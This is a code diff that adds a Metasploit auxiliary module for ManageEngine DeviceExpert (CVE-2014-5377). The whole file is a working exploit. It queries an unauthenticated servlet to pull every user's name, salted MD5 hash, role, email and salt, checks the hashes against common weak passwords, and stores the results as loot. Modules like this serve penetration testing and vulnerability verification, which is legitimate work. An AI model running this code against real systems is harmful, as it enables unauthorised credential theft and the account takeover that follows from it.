Add ManageEngine DeviceExpert User Credentials

modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.rb

@@ -0,0 +1,123 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+  include Msf::Auxiliary::Report
+  include Msf::Auxiliary::Scanner
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(update_info(
+      info,
+      'Name'           => 'ManageEngine DeviceExpert User Credentials',
+      'Description'    => %q{
+          This module extracts usernames and salted MD5 password hashes
+        from ManageEngine DeviceExpert version 5.9 build 5980 and prior.
+
+        This module has been tested successfully on DeviceExpert
+        version 5.9.7 build 5970.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Pedro Ribeiro <pedrib[at]gmail.com>', # Discovery and exploit
+          'Brendan Coles <bcoles[at]gmail.com>'  # msf
+        ],
+      'References'     =>
+        [
+          ['EDB'       => '34449'],
+          ['OSVBD'     => '110522'],
+          ['CVE'       => '2014-5377']
+        ],
+      'DisclosureDate' => 'Aug 28 2014'))
+    register_options(
+      [
+        Opt::RPORT(6060),
+        OptBool.new('SSL', [true, 'Use SSL', true])
+      ], self.class)
+    deregister_options('RHOST')
+  end
+
+  def check
+    get_users ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
+  end
+
+  def get_users
+    users = nil
+    vprint_status "#{peer} - Reading users from master..."
+    res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'ReadUsersFromMasterServlet')
+    if !res
+      vprint_error "#{peer} - Connection failed"
+    elsif res.code == 404
+      vprint_error "#{peer} - Could not find 'ReadUsersFromMasterServlet'"
+    elsif res.code == 200 && res.body =~ /<discoverydata>(.+)<\/discoverydata>/
+      users = res.body.scan(/<discoverydata>(.*?)<\/discoverydata>/)
+      vprint_good "#{peer} - Found #{users.length} users"
+    else
+      vprint_error "#{peer} - Could not find any users"
+    end
+    users
+  end
+
+  def parse_user_data(user)
+    return if user.nil?
+    username = user.scan(/<username>([^<]+)</).flatten.first
+    encoded_hash = user.scan(/<password>([^<]+)</).flatten.first
+    role = user.scan(/<userrole>([^<]+)</).flatten.first
+    email = user.scan(/<emailid>([^<]+)</).flatten.first
+    salt = user.scan(/<saltvalue>([^<]+)</).flatten.first
+    hash = Rex::Text.decode_base64(encoded_hash).unpack('H*').flatten.first
+    ['12345', 'admin', 'password', username].each do |weak_password|
+      if hash == Rex::Text.md5(weak_password + salt)
+        print_status "#{peer} - Found weak credentials (#{username}:#{weak_password})"
+        break
+      end
+    end
+    [username, hash, role, email, salt]
+  end
+
+  def run
+    users = get_users
+    return if users.nil?
+    cred_table = Rex::Ui::Text::Table.new(
+      'Header'  => 'ManageEngine DeviceExpert User Credentials',
+      'Indent'  => 1,
+      'Columns' => ['Username', 'Password Hash', 'Role', 'E-mail', 'Password Salt']
+    )
+    vprint_status "#{peer} - Parsing user data..."
+    users.each do |user|
+      record = parse_user_data user.to_s
+      unless record.join.empty?
+        report_auth_info(
+          'host'  => rhost,
+          'port'  => rport,
+          'sname' => (ssl ? 'https' : 'http'),
+          'user'  => record[0],
+          'pass'  => record[1],
+          'type'  => 'hash',
+          'proof' => "salt: #{record[4]} role: #{record[2]} email: #{record[3]}",
+          'source_type' => 'vuln'
+        )
+        cred_table << [record[0], record[1], record[2], record[3], record[4]]
+      end
+    end
+    print_line
+    print_line "#{cred_table}"
+    loot_name     = 'manageengine.deviceexpert.user.creds'
+    loot_type     = 'text/csv'
+    loot_filename = 'manageengine_deviceexpert_user_creds.csv'
+    loot_desc     = 'ManageEngine DeviceExpert User Credentials'
+    p = store_loot(
+      loot_name,
+      loot_type,
+      rhost,
+      cred_table.to_csv,
+      loot_filename,
+      loot_desc)
+    print_status "Credentials saved in: #{p}"
+  end
+end